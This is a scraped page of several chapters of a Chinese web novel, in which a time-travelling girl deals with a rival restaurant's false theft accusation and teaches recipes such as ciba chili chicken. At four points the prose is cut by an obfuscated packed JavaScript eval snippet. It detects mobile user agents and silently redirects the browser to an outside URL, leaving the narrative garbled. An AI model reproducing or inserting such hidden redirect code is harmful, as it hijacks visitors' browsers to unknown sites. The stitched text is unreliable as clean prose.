;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451328|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我压根就不穷酸，再说了，就算我穷酸又关你什么事？听你这形容，倒是像是我上次来阳宁镇的时候的样子，你该不会是听说我卖菜方给董掌柜的事，才故意来这找茬的吧？” 她话说的直白，悦来酒楼的掌柜也没想到，只能顺着自己的话说：“就你这穷酸丫头，还能想出荷花鸡汤白菜的做法？就是你去我们酒楼偷了菜方子，来这食肆里卖，董掌柜也是不长眼，也不想想，就她能会做什么菜？不是偷的还能是怎么来的？” “你胡说！”朱红梅气的发抖：“芽芽一共都没来过镇子上几次，哪里还能去你们酒楼偷菜方，再说了，她平日里在家就做过不少家里人都没见过的菜，难不成都是在你们酒楼偷的？” “正是！”那掌柜的脸皮厚到了极致，指着姜芽道：“就是都是在我们酒楼偷的，你们一个穷村子的人，没见过的菜多了去了，你们没见过就是她自己想出来的菜？” 姜芽眼珠子转了转，好奇道：“那你说说，我从你们那偷了些什么菜？” 对面掌柜的摇头晃脑，背书一样的说：“那多了去了，芭蕉叶包豆腐，清凉水，还有哪些你自己心里清楚！” “咦？”姜芽倒是没想到，自己在家做的这些菜怎么悦来酒楼的掌柜能说出来，只是她的做法只有家里的人知道，眼前这人怕是只知道名字，不知道做法。 见她没有反驳，对面的人明显更有了些底气：“没话说了吧？我就说，一个乡野丫头，怎么可能会做这么多新奇菜。” 张毛毛推了那掌柜一把，怒声道：“你再胡说，我们就报官！” “你尽管报，到时让官府的老爷看看，到底是我宋掌柜有理，还是你们董掌柜有理！” 原来悦来酒楼这掌柜姓宋。 姜芽仰着头看着宋掌柜：“无事，既然你说是我偷的你们酒楼的菜方子，那你便把你们厨子叫过来，我来和他比试比试，看看这菜到底是谁的。” 宋掌柜和自己身侧的小二交换了个眼神，又嗤笑一声：“你个偷菜的丫头，怎么配我们厨子来和你比试？” 姜芽有些摸不着头脑，眼神真诚：“那你们是要如何？比试也不行，来这一趟，就为了说这些菜是我偷学来的？” 那宋掌柜指着张毛毛：“既然是偷学来的，以后你们玉食堂便不可以再做这些菜来卖！” “什么？”姜芽没想到悦来酒楼的人无耻到了这种地步，他这要求和耍流氓有什么区别？ 她摇头：“这菜是谁的，你我心里都清楚，也是我这道菜做法简单，你让人来尝几次自然就知道怎么做了，但你刚才说的其他菜，你回去让你家厨子好好想想，要是他真的能做出来，你再来找我的麻烦。” 她人虽小，说话却掷地有声，看来他们只是为了那白菜来的，只是不知道从哪里听说她在波罗村做的菜，特地说出来唬她的罢了，除非……这悦来酒楼的厨子也是穿越过来的。 眼见姜芽不吃硬的，宋掌柜画风一变，突然对着姜芽笑起来：“你既非要卖这菜也不是不行，那去我们酒楼里做三个月的工，我们便不与你计较此事。” 29. 糍粑辣子鸡（一） 姜芽早想过，她教张毛毛的菜，只要是会做菜的人，多尝几次总能模仿个大概。 毕竟两道菜都只不过是白菜配上些寻常的调料。 只是她没料到，或许是因为董掌柜带着张毛毛去万花楼参加了那什么美食比试让悦来酒楼红了眼。 他们竟然脸皮厚到能直接上门来反咬一口，把偷菜的帽子扣在了她的头上。 宋掌柜这话一出口，姜芽更明白了：他们根本是觊觎她手里的菜式。 她冲着宋掌柜摇摇头，语气带着几分嘲讽：“原来是想请我去你们酒楼做厨子，那何必用这种下作的手段，你们酒楼和董掌柜都是做生意的人，不想着交流经验，大家一起将生意做好，反倒把心思花在算计上，有点脑子尽用在这些坏点子上了？” 宋掌柜急了：“你拿什么证明这些菜是你做的？谁又要请你去我们悦来酒楼做厨子了！” 姜芽知道，被人污蔑还有和人吵架的时候，一定不能陷入自证陷阱。 她没了和宋掌柜吵架的兴致，拉住气的不行的朱红梅的手说：“我无需向你证明，你也无需向我证明，这菜本来就简单，你要是真心想学，好好过来请叫我，我还能好好指点指点你们，罢了，这事是我想的不够周全，也算是让人家董掌柜栽了个跟头，董掌柜，把这些人请走，我免费再送你一道菜，哦不，两道，他悦来酒楼要是还能学着我做出来，我就再送你三道菜！” 董掌柜听到她说这话，本来还有些疑虑的心也有了底气，对着宋掌柜做了个送客的手势：“宋掌柜，请吧。姜小师傅我信得过，她说的对，我找她卖菜方子，并非是只想着我一家来做，你们若是也想卖，大可直接来问我。” 宋掌柜见吓不住姜芽，今天本来也是得知董家的食肆又从那丫头手里学了个叫青蛙背石板的菜式，一时着急才上门来，想着能不能吓一吓这个乡下来的丫头，真要深究，他的这些说话也压根站不住脚。 他狠狠瞪了姜芽一眼，给身后的小二使了个眼色，转身就要走。 “哦对了，宋掌柜。”姜芽突然叫住他，又说了一句：“送你们一句话，做菜的馆子，不管是路边的摊子，还是多大的酒楼，最终都是靠味道说话的，很多东西你能模仿出几分味道，可食客们自然能吃出区别，还有，我今天交给董记食肆的菜，你们最好偷的谨慎些，小心砸了自己的招牌。” 说完，她拉着朱红梅转身就往后厨走，根本不给宋掌柜回嘴的机会。 “你！”宋掌柜没想到这么一个丫头居然能跟他这个做了这么些年酒楼的人说这些话。 张毛毛瞪了他一眼，朝他挥挥拳头警告道：“再来找茬小心我的拳头！” 其实姜芽没有走远，只是蹲在了大堂的柜子后，不是想躲，只是不想同这些人浪费口舌。 见那伙人走了，她才从柜子后出来，董掌柜见她，满脸歉意：“姜小师傅，这些人定是看我用从你这买的菜方子去万花楼回来有了些名气，客人也多了些，今日才过来找的麻烦，实在是对不住，方才你说要送我的菜，我也不要了……” “怎么能不要？”姜芽诧异的看他一眼：“他们是小人我不管，你既信我不是从他们那偷学的菜，这菜就是我必须要送你的，放心，他们学不去的。” 张毛毛见董掌柜还要拒绝，赶紧打断道：“哎呦，我说你就别在这唧唧歪歪了，我师父既然说了要送，那我就好好学，学了也能证明这菜不是从悦来酒楼偷来的不是？” “可是……”董掌柜还在犹豫。 “别犹豫了！”张毛毛站在他和姜芽中间：“你要觉得欠了我师父什么，以后她在咱们镇子上做生意，咱们就多多帮衬她一下不就行了。” 姜芽接过话来：“张大哥说的对，再过些时日我也要在街边支个摊子买东西，到时先让你们尝尝，要是你看得上我那东西，我就每日做些来供给你，咱们一起赚钱，这不是好事一桩？” 两个人你一句我一句的，掌柜的也只能应了下来：“那姜小师傅，若是以后你有什么事是我们能帮上忙的，一定要来找我们。” “那先谢过董掌柜了！”姜芽笑着应下，又对朱红梅说，“三嫂，咱们从家里带的大芫荽还在客栈，得麻烦你跑一趟取回来。” 朱春梅嗯了一声，还有些不高兴：“那酒楼的人也忒不讲道理了……” 姜芽看她这样子，怕她自己去悦来酒楼说理，赶紧拉着她的手晃了晃：“拿了芫荽就赶紧过来哦，千万不要去悦来酒楼，以后咱们有的是机会！” 被姜芽点破心思，朱红梅有些不好意思：“知道了，只要你不要受委屈，怎么都行，我去拿了就过来，你放心吧。” 朱红梅走后，姜芽带着张毛毛去后厨清点调料，盘算着还缺些什么调料。 “师父，你要做什么菜？”张毛毛好奇的问。 姜芽看着挂在高处一串又一串红红的干辣椒，转头问：“你能吃辣不？” 张毛毛拿起早上姜芽做的油辣椒闻了闻：“要是吃面的话，这个油辣椒我能加很多勺，平日里吃辣菜也要吃的多谢。” “太好了！”姜芽拍手，指着干辣椒：“那你厨房里这几串辣椒辣不辣？” 张毛毛伸手扯下一颗长长的干辣椒，在手中一分为二递给姜芽：“只能说还是有些辣味，毕竟做的是食客的生意，虽然咱们这边的人大多喜辣，但也不能买过于辣的辣椒回来。” 他说的有理，姜芽把那一半辣椒接过来放在鼻下嗅嗅，这辣椒的香气比辣味更重些。 “走吧，咱们还要再去买些辣椒回来。”她将辣椒放到厨房的桌上。 两人刚走到厨房门口，就撞见了等在外面的董掌柜。没等姜芽开口，董掌柜就往张毛毛手里塞了些银子：“你且放心跟着你师父去买，多少钱我都出了。” “那万一有客人来吃饭？”张毛毛把银子塞到怀里，还是有些放不下玉食堂的生意。 悦来客栈刚来闹过一通，本来在吃饭的食客大多在看完热闹之后也就离开了，董掌柜一甩袖子：“罢了，今天就打烊了，你今天就好好把菜学好。” 姜芽点点头：“也好， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456737|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正好明日我要搬去小院，兴许也就没那么多时间过来了，今日之内就将这道菜教会给你。” 二人和拿了大芫荽回来的朱红梅一起上了街，张毛毛对阳宁镇比较熟悉，平日里食肆中要用的东西也都是他在采买，所以他带着路，轻车熟路的就到了一处专门卖干料的店。 那老板一见张毛毛，就热情的招呼起来：“毛毛，今日要买点什么，随便看啊！” 姜芽直接往那挂着各种各样的辣椒的一角走过去，每一种都仔细的闻了闻，闻到中意的，就跟身旁的朱红梅低声说几句，让她先把这个辣椒记下来。 老板凑到张毛毛旁边小声问：“怎么今日带着个小丫头过来了？是你家中小妹？” “以后你就知道了！”张毛毛没再强调姜芽是他师父的事，想的是怕那悦来酒楼再拿这个关系过来生事。 姜芽选了两串长的辣椒，又拿了一串像小灯笼似的圆辣椒，老板接过去算账的时间，姜芽又在店中转了转。 她又在店里转了转，没看到想要的东西，便问：“老板，你们这有干酸菜吗？” 老板把三串辣椒递给张毛毛，接过钱来：“什么干酸菜？倒是没听说过，小姑娘你若是想买腌菜，前面拐角倒是有一家。” 姜芽把老板指的方向记在心中，以后有机会还得去那边看看，今日唯一的目标就是把张毛毛教会。 其他的调料张毛毛的厨房里都有，回去的路上，姜芽嘴里一直嘀咕着各种调料，生怕这一趟漏买了什么。 他们去的快，回来的也快，董掌柜已经叫小二把食肆的门都关了起来，就连写着姜芽的那几道菜的木板也一同撤了进去。 张毛毛哐哐哐的敲敲门：“是我，开门！” 一个小二小跑着来开了门，大白天的打了，烊董掌柜正和另一个小二坐在桌边喝茶，桌上还摆着盘瓜子。 看着几人都恹恹的，姜芽拍拍手说道：“别没精打采的了，既然无事，不如你们就帮我把院中养的鸡杀一只，待会给你们炒鸡吃。” 董掌柜朝两个小二使了个眼色，小二站起身，乐呵呵地应道：“好嘞！保准给您弄得干干净净的送过来。” “你也别闲着啦。”姜芽看着还坐在长凳上的董掌柜：“坐着不免一直多想，既然你是开食肆的，肯定也会炒那么几个菜，我嫂子方才拿过来的大芫荽能做个简单爽口的菜，我让她教给你，等空了你再教给张大哥。” 说着又转头对朱红梅说：“三嫂，咱们之前做的那个酸辣荷包蛋，你直接教董掌柜做就好，这菜做的简单，只是需要的调料只有我们有。” 一通安排下来，杀鸡的杀鸡，炸蛋的炸蛋，食肆中顿时热闹了起来。 张毛毛正拿着大芫荽翻来覆去地看，好奇这东西怎么吃，就被姜芽喊了一声：“张大哥，别发呆了，快来跟我弄辣椒，咱们俩要干的事情多了去了。” “买这么些辣椒是要做什么菜？”张毛毛好奇的问。 姜芽往大锅里倒了些水，往灶下添了把柴，抬头笑着说：“做糍粑辣椒。” 30. 糍粑辣子鸡（二） “糍粑辣椒？”张毛毛挠了挠头，一脸茫然，“还真没听过这东西。” “没听过就对了！”姜芽把了两种辣椒分别放在两个装干货的簸箕里，其中一个递给张毛毛：“先把辣椒剪开，里面的辣椒籽滤出来别扔，找个碗放起来后面咱们还能用。” 他们二人一人剪一种，干辣椒剪开的辣味有些呛鼻，姜芽连着打了好几个喷嚏。 辣椒是从辣椒蒂处剪开的，正好也就能把辣椒清理干净。 此时锅中的水已经烧开，姜芽把剪好的辣椒冲洗干净，一股脑倒进锅里，一边盯着锅一边跟张毛毛讲解：“你看着辣椒煮软了，颜色鲜艳了再捞出来，得等一会儿，千万不要急着捞。” 张毛毛听的认真，听姜芽说还需要等一段时间，就急着想去那边看朱红梅做凉拌荷包蛋。 荷包蛋的做法确实新奇，姜芽也没拦他，自己找了几头大蒜和生姜坐在一边剥了起来。 这糍粑辣椒要的姜蒜多，等她把姜蒜都剥好，锅中的辣椒也煮得差不多了，颜色都煮的都写发亮。 “张大哥，需要你出力气了。”她喊了一声张毛毛，手里拿着个大勺把锅里煮的颜色鲜艳的辣椒捞出来，将水沥掉。 张毛毛两头都想看，听到姜芽喊又赶紧跑过来，看着一大盆辣椒问：“我有的就是力气！要我干什么！” “先把那个石舂搬过来吧，我搬不动。”她指指厨房角落的石舂，先前在自己家里用的只是个木舂，张厨子这里用的居然是个石舂。 那石舂不算大，张毛毛一只手就拎了过来，平平稳稳的放在姜芽面前。 “要用这个舂辣椒吗？我还只舂过干的辣椒。”他看着姜芽把辣椒倒入石舂，知道姜芽口中的体力活应该就是舂辣椒了。 姜芽嗯了一声：“煮熟的干辣椒也算干辣椒，你就用力舂，把辣椒舂成酱的样子就差不多了。” 张毛毛拿着杵子哼哧哼哧的舂了起来，辣椒的味道更重了些。 姜芽则是把姜蒜简单的切成了小块，再把小碗中的辣椒籽取出一半，倒进了石舂里让张毛毛一起舂。 辣椒上还带着些许的水气，张毛毛力气大，没多会就把辣椒和葱姜辣椒籽舂混在一起，舂的碎碎的，带着些红色的辣椒汁。 姜芽凑过去看了看，点头道：“行了，这样就差不多了。” 辣椒买得多，舂好后还装满了一石舂。 姜芽指挥张毛毛往锅里倒油，又放了几根香菜和葱段：“先炸个香料油，待会炒辣椒用。” 等油热得冒烟，香菜和葱段炸得金黄，香味都飘了出来，她才让张毛毛把香料捞出来。 “把辣椒都放到油里吧。”她和张毛毛一起，把混合好的所有辣椒都放到油里。 张毛毛拿着锅铲不停翻炒，油裹着辣椒泥，香辣味瞬间炒了出来，味道比刚才还要更浓烈些。 等油被辣椒吸收得差不多，辣椒泥变得油亮红润，像一团诱人的红油酱，姜芽凑到锅边闻了闻，满意地说：“可以了，出锅！” 张毛毛找了个大盆，把糍粑辣椒盛了进去。 他忍不住拿筷子夹了一点点尝了尝，辣得直吸气，却又忍不住砸吧嘴：“又香又辣！就尝这一口，口水都止不住了！” 朱红梅和董掌柜做的凉拌荷包蛋已经做好了，听到这边的动静，也赶紧过来看看这糍粑辣椒究竟是个什么味道。 董掌柜也是喜辣之人，对着糍粑辣椒赞不绝口：“没想到辣椒这样做出来虽然辣，但是香味也一点不逊色，只是姜小师傅，你这辣椒做出来，总不是专门当一道菜来卖的吧？” 姜芽指指门外：“怎么会，不是还杀了鸡吗？” “我还以为你要做鸡肉烂饭呢，好久没吃了，我还真有些想吃。”朱红梅捂着嘴笑。 张毛毛对菜式十分敏感，听到鸡肉烂饭又赶紧问：“鸡肉烂饭又是什么？今日能尝尝吗？” 姜芽哎呀一声说：“今日的鸡是用来炒糍粑辣子鸡的！鸡肉烂饭以后有的是机会吃！” 两个小二已经把鸡洗得干干净净，姜芽把鸡砍成小块，放了些葱姜腌制了一会。 等锅热了，她挖了一大勺糍粑辣椒倒进去，快速翻炒起来，姜芽呛的直咳嗽，此时有些无比怀念现代的油烟机了。 等辣椒炒出红油，她把腌好的鸡肉倒进去，才将辣味掩过去一些。 “只要糍粑辣椒做好了，炒辣子鸡就简单得多了。”姜芽翻炒着锅里的鸡肉，不忘跟一旁的张毛毛说着做法。 鸡肉炒熟之后，姜芽抬起锅，把整锅的辣子鸡倒入碗中。 辣子鸡在碗中滋滋着冒油，姜芽特地选的两种辣椒，一种比较香，一种比较辣，做成糍粑辣椒之后，两种味道中和到一起，香辣的味道和鸡肉香味一起飘满了整个厨房。 “张大哥，你要记住今天买的辣椒和调料放的量。”她往烧开的水里放了把青菜，清水煮菜配辣子鸡正正好：“只要你按照我这个配方和做法来，就算别人来吃这道菜，回去也仿不出这个味道。” 张毛毛连连点头：“我记住了，今日炒了不少，是不是明日也够用了？” 姜芽看了看那一盆糍粑辣椒：“做辣子鸡还有一个很重要的点，就是一定要舍得放糍粑辣椒，只有量放足了，辣子鸡的味道才会正，所以你可以把辣椒分成很多份，每一份能炒一份辣子鸡，就可以知道明天可以做多少份。” 看张毛毛已经准备按她说的去把糍粑辣椒分成小份了，姜芽赶紧拦住说：“先吃饭，大家都饿着肚子等着呢，这事待会吃饱了再做也不晚。” 董掌柜和两个小二已经看着辣子鸡和凉拌荷包蛋流口水了，董掌柜赶紧接过话来：“就是就是，咱们先吃，吃完了一起做就是了。” 六个人围坐在一起，先是尝那辣子鸡，董掌柜夹了一块又一块，嘴唇都被辣的红肿，却还是停不下来，喝一口青菜汤，吃两口凉拌荷包蛋，又接着吃辣子鸡。 张毛毛更是，拿着个装满米饭的玩，辣子鸡的油流到饭上，把夹到碗里的鸡肉吃完，碗中的米饭也被红油沁的油亮，他几口把米饭扒拉下去，又喝了一大口汤：“师父，这菜方你居然舍得送我们掌柜的，我要是你，我就自己拿出去卖了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466082|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！” 姜芽和董掌柜对视了一眼，忍俊不禁道：“我之前和我三哥来镇上卖货，在你们玉食堂门口歇脚，你们董掌柜不但没有赶我走，还送了我两个馍馍，后来又高价收了我的菜方子，如今那悦来酒楼来闹这么一通，我送两个菜方子也是应该的。” 她这话说的，让董掌柜都有些感动。 其实只有她自己知道，之所以送的是这辣子鸡，实在是她的小推车卖不了这种菜，而且糍粑辣椒需要的辣椒极多，她现在也出不起这本钱，所以才选择将糍粑辣子鸡免费教给董掌柜的玉食堂。 一整只鸡被几个人吃的干干净净，董掌柜看着自己做出来的凉拌荷包蛋的碗中还有些汁水，索性直接将汁水浇到饭上拌拌吃了个精光。 姜芽每次做饭最满足的事情就是，看到吃饭的人把自己做出来的菜都吃光，这就是对她最大的肯定。 两个小二动作麻利的收起了桌子，姜芽做好人做到底，和张毛毛商量了一会一份辣子鸡要炒多少鸡之后，就找了些罐子和张毛毛一起把糍粑辣椒分成小份。 朱红梅欣慰的看着自家妹子，又看看坐在旁边的董掌柜也是满脸欣赏的看着那边，她犹豫着开口：“董掌柜？” 她的声音很轻，那边的姜芽压根没注意到。 董掌柜转回头来，看出了朱红梅的表情：“您有什么但说无妨。” “我家妹子年纪还小。”朱红梅顿了顿：“虽然她行事也算稳重，手艺你可看到了，但在我们眼中到底也还是小妹，所以日后她自己一个人在镇子上，要是有什么您能帮上忙的，还请您多照应照应。” “哎呀，你这一罐子放多了！往这罐里再来点！”姜芽轻快的声音传了过来。 董掌柜点头：“这是应当的，姜小师傅也算是帮了我不少，以后大家能互相帮衬自然是最好的。” 朱红梅开这个口也是实属无奈，姜家在阳宁镇上也没个什么亲戚的，看着这董掌柜做人做事都还算坦荡，才只能请他帮忙看着点姜芽。 姜芽对这边的对话全然不知，罐子都装好之后，举起一罐对着这边喊：“董掌柜，我带一罐回去，明天搬家正好和我嫂子炒着吃，红红火火开灶，你不介意吧？” 董掌柜伸着脖子喊：“姜小师傅，你想带几罐回去都行！” “别喊我姜小师傅了。”姜芽走过来，把糍粑辣椒放到桌上，坐到一边：“咱们现在也算相熟，以后叫我小姜就好了！” 她看看还在拿着剩的那一点大芫荽的张毛毛，又说：“还有你张大哥，别总是什么师父师父的了，都叫我小姜！” 张毛毛急了，凑过来说：“不行！这些菜都是你教我的，我不叫你师父叫谁师父？还是说你看不起我不愿意收我这个徒弟？” 姜芽赶紧打哈哈：“你瞧你说的什么话，我怎会看不起你？” 一个小二也揶揄道：“张哥平日里都凶巴巴的，如今拜师差点不成，怎得看着都要流眼泪了？” 张毛毛：“你小子！是不是想挨打了！” 打了烊的玉食堂后院第一次充满了欢声笑语。 31. 竹筒饭（一） 姜芽准备回客栈的时候，夜色已经有些深了。 晚饭吃得热闹，饭后她又拉着张毛毛，把凉拌荷包蛋的做法仔仔细细重复了两遍，生怕董掌柜记漏了什么步骤没跟他说清楚。 董掌柜对大芫荽很感兴趣，见姜芽教完了张毛毛，才凑过去问：“这大芫荽味道虽好，只是这些用完了，之后该到哪里去买？” 姜芽指指自己：“您要是想要这个大芫荽，常去周边村子的人，给点跑腿钱，让他去我家取就行，放心吧，价格肯定公道。” “那自然是要的，把荷包蛋做成凉菜，这做法肯定是阳宁镇第一家！”董掌柜赶紧应了下来。 见董掌柜定了要大芫荽，姜芽才转头对朱红梅说：“三嫂，这事就拜托你啦。等过些时日你回去之后，就让张婶婶多种些，董掌柜这边每隔一段时间就会托人去取一次，让她放心种。” 本要和姜芽一起回客栈的朱红梅，说自己有些事要办，姜芽也没多问，也没让张毛毛送，想着自己散散步消消食也挺好的。 她哼着小曲往客栈走，马上就要入秋了，夜风带着些凉意，吹在身上很舒服。 路上的行人少了许多，但偶尔还是能遇到那么一两个，姜芽就是这样看到了那个人。 那女子约莫二十来岁，身形瘦高，头发用一根簪子高高束起，姜芽一眼就看到这个女子，是因为这个人好像就是在这等她。 见到她，那人脸上也没什么表情，只是横跨一步拦在了她面前。 姜芽莫名其妙的仰头看着突然出现的这个人，问：“干啥？我可没有钱。” 那女子眼角动了动，开口就带着些指责的味道：“我听说你连那白菜的菜方子都不愿说出来？” 这话一说，姜芽就知道她肯定是悦来酒楼的人，听她说话的语气，姜芽也一阵不爽，反问道：“我凭什么要说给你们？” 女子皱起眉，语气依旧生硬：“大家都是厨子，若是我有了什么新菜式，你学了去，但是差些味道，你来问我，我自然也会告诉你。” “你这是什么强盗逻辑？”姜芽不解，也不知道这个人来的目的是什么：“我自己研究出的菜式，靠的就是用这个菜赚钱，又凭什么要告诉你？” 说完，她就想绕开拦在自己面前的女子回客栈，不想与这种人再过多纠缠。 没想到，那人根本不想放她走，又横跨了一步拦住她：“我没想到，你有这种做菜的天分，却连一道菜都不愿指点。” “指点？”姜芽扑哧一声笑了出来：“你是悦来酒楼的人吧？就你们白天来强取豪夺说我卖给人家玉食堂的菜式是你们研究出来的，我才是小偷的架势，你现在跟我说那叫指点？” 来人听到这话，表情有些松动：“我不知道，我只是说我做那蒜蓉粉丝白菜总是差了一分味道，让他们来请你到悦来酒楼来指点……” 她话没说完，姜芽已经不想再听下去了，只说：“那是你们自己的事，你也尽管放心，我做的菜你们尽管偷去，会吃的人自然知道哪家的好吃，哪家才是偷了去的！” 仗着自己个子小，姜芽趁女子愣神的空隙，弯腰从她胳膊底下溜了过去。 那女子也没追，只是在她身后喊了一句：“我叫裴问春……” 本来愉悦的心情被这个裴问春的出现搅的有些烦，姜芽嘴里小声骂着悦来酒楼回到了客栈。 朱红梅还没回来，她自己洗漱之后躺上床，听那裴问春的意思，悦来酒楼今天来闹事不是她的本意，她好像还是悦来酒楼的厨子。 可是姜芽现在压根没空去想她说的话是真是假，那人但凡说话礼貌些，姜芽也不是不愿意帮忙去看看她的问题出在哪里，毕竟要是能把自己家乡的菜式传扬出去，姜芽也觉得自己这穿越的还挺有意义的。 她抓抓自己的头发，自言自语：“别想了姜芽！现在赚钱才是最重要的，没赚到钱之前所有的白送菜方的行为都是圣母！” 她不知道自己是什么时候睡着的，只是隐约记得朱红梅回来的时候夜已经深了，她迷迷糊糊的睁眼看到朱红梅，喊了声“三嫂”就又睡了过去。 第二天一早，她就被朱红梅叫了起来，今日就要从客栈搬到租好的小院去了。 本来张毛毛说好了要来帮忙，可是昨日刚学会那两道新菜式，他迫不及待的想要做出来看看食客们的评价。 而姜芽这边本来也就没什么行李，就跟张毛毛说了，晚上下了工再过来一起吃饭就好，搬家的事她和朱红梅二人就够了。 老三早早的就背着包袱等在院中，见姜芽过来，忙往她手中递了一串钥匙：“院子都收拾出来了，有什么你让你徒弟张毛毛来帮你就好，我要赶紧出发了，孩子娘和孩子都在水建等了我几天了！” 说完他就跳上自己叫好的马车上，车夫一甩鞭子，马车一溜烟的就消失在了姜芽的视线中。 院子的门半掩着，朱红梅直接推门走了进去。 姜芽跟在后面，小院明显已经被人里里外外的打扫过，比前几天来看到的还要整洁些，在院角还堆着一堆竹子。 “咦？”姜芽走上前，拎起一根竹竿看了看，竹子的断面切口还有些新鲜，一看就是刚砍回来没多久。 看老三出门这么急，不像是一早还能砍这么一堆竹子回来的样子。 姜芽没说话，只是歪头看着朱红梅。 朱红梅感受到姜芽投过来的目光，自知也瞒不住，只干笑了一声说：“我昨天想着你要卖的东西，怕是也要用上竹筒杯，反正左右也睡不着，我昨晚就砍了些先放到了院子里。” 姜芽不知道朱红梅一个人，昨晚是到哪砍的竹子，又是怎么一个人一趟一趟把这些竹子抗回来的。 她突然觉得是不是自己做的还是太少了，什么都要别人帮忙。 朱红梅看她不说话，揉了揉她的头发说：“我干活干多了，这些竹子根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468771|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本算不上什么，你看，都还没砍出来，今天咱们怕是都不得空去玉食堂了，都要在家把这些竹筒杯做出来。” 姜芽吸了口气，挤出个笑容：“没事，忙总是要忙的，今日做不完就明日再做，今天还是得出门把咱们买的推车推回来，再买半只鸡，把昨天带回来的糍粑辣炒了。” 她说的有道理，朱红梅也不急着回家，她将两人不多的行李放到屋中，姜芽把几瓶玫瑰酱和糍粑辣椒在厨房找了个阴凉的地方放好，这才开始砍竹子做竹筒杯。 朱红梅负责砍竹子，姜芽则是把竹筒上的毛刺磨去，这杯子之前已经做过一次，所以这次做起来姜芽也还算是轻车熟路。 只是朱红梅是摸黑去砍的竹子，不免砍了几根没那么粗的竹竿回来，做杯子的时候，她特地将那些细一些的竹竿放到了一旁。 二人从早上做到了中午，竹子已经砍了大半，姜芽也累的够呛，朱红梅本来力气多，却因为昨晚没有睡多久的缘故，现在也有些疲惫。 此时的太阳也有些毒辣，姜芽站起来伸个懒腰又顺便活动活动筋骨：“走三嫂，咱们从早上就没吃东西，出去吃点。” 朱红梅砍完手中的那一截竹竿，应道：“行，剩下的咱们明日应该就可以做完了，也不算耽误事。” 姜芽看着朱红梅手中的竹竿，突然看到旁边被挑拣出去的竹竿，眼睛一亮，拎起一根在手里仔细看看，想到了什么。 她赶紧将这细一些的竹竿递给朱红梅：“三嫂！还要麻烦你帮我将这根竹子砍出来，比竹筒杯砍的长些，我出去一趟！” “你去哪？”朱红梅接过竹子好奇道。 姜芽指着放的整整齐齐的竹筒：“还记得之前在家做竹筒的时候我说了要用这竹筒做些吃的吗？后来一忙竟将这事忘了，现在刚好有这些竹子，我出去买些糯米回来。” 朱红梅也想起了姜芽似乎曾经是说过这件事：“那要我和你一起去吗？顺便把咱们要买的东西都买回来，你要的那竹筒回来砍应该也来得及。” 姜芽摇头：“我快去快回，回来了要先将糯米泡上，晚上才能用上，等我回来弄好糯米，咱们再一起出门！” 她向来是想到什么就做什么菜的人，说了之后就小跑着出门找糯米去了。 院子里街有些远，她顺着巷子往外走，走了两条街终于是看到了一家有糯米卖的店。 买了一小麻袋的糯米，她也没多逛，急着泡糯米，就径直回了家。 到了家中，朱红梅已经把她要的竹筒砍出来了，姜芽进了厨房，倒了些糯米出来简单淘洗了一下之后，就往盆里放水把糯米严严实实的泡上。 干了一早的活，又出去跑了一趟，饥饿的感觉更明显了，她拉着朱红梅的手就要出门。 朱红梅看了眼泡上的糯米问：“竹子要怎么和这糯米一起做？” 姜芽笑得眼睛弯弯：“拿当然是做香香糯糯的竹筒饭啊！” 32. 竹筒饭（二） 本想着去玉食堂看看糍粑辣子鸡卖的如何，顺便点两个张毛毛的拿手菜尝一尝，可二人还没走到门口，就远远瞧见食肆外站着两三个人，今日玉食堂竟排起了队。 姜芽既不想排队，也不愿意做插队这种没有素质的事，只能拉着朱红梅另寻吃处。 她想到了昨晚在街上拦住她的那个女子，听她话里的意思，要是没撒谎的话，她应该是悦来酒楼的厨子。 这让姜芽突然来了兴趣，找了个路人问了悦来酒楼的位置，那人指了一个方向，并不算远，站在玉食堂的门口就能看到那座阳宁镇唯一的一座三层高的酒楼。 “三嫂，咱们也去悦来酒楼尝尝他们的菜味道如何。”她提议道。 